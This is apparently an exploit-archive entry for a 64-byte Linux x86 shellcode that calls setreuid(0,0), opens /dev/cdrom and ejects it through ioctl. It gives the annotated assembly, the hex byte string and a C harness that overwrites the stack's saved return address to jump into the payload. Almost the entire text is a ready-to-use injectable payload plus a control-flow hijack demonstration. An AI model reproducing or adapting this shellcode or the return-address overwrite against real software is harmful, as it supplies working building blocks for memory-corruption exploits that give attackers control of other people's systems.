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linux/x86 eject /dev/cdrom 64 bytes
[===================================
linux/x86 eject /dev/cdrom 64 bytes
===================================
/*
CDROM EJECTING CODE by lamagra
.data
.globl main
.type main,@function
_start:
# setreuid (0, 0)
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
movb $70,%al
int $0x80
jmp 0x21
popl %esi
movb %edx,10(%esi)
leal (%esi), %ebx
# open("/dev/cdrom", O_RDONLY|O_NONBLOCK|0x4, 666)
movb $5, %al
movw $0x804, %cx
movw $666, %dx
int $0x80
movl %eax, %ebx
# ioctl(%eax, 0x5309, 0)
movb $54, %al
movw $21257, %cx
int $0x80
# exit(0)
xorl %eax, %eax
xorl %ebx, %ebx
inc %eax
int $0x80
call -0x26
.string "/dev/cdrom"
*/
#include <stdio.h>
char eject[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x23\x5e\x88\x56\x0a\x8d"
"\x1e\xb0\x05\x66\xb9\x04\x08\x66\xba\x9a\x02\xcd\x80\x89\xc3\xb0\x36\x66\xb9"
"\x09\x53\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xd8\xff\xff\xff/dev/cdrom";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(eject));
(*ret) = (int)eject;
}
# 0day.today [2024-12-24] #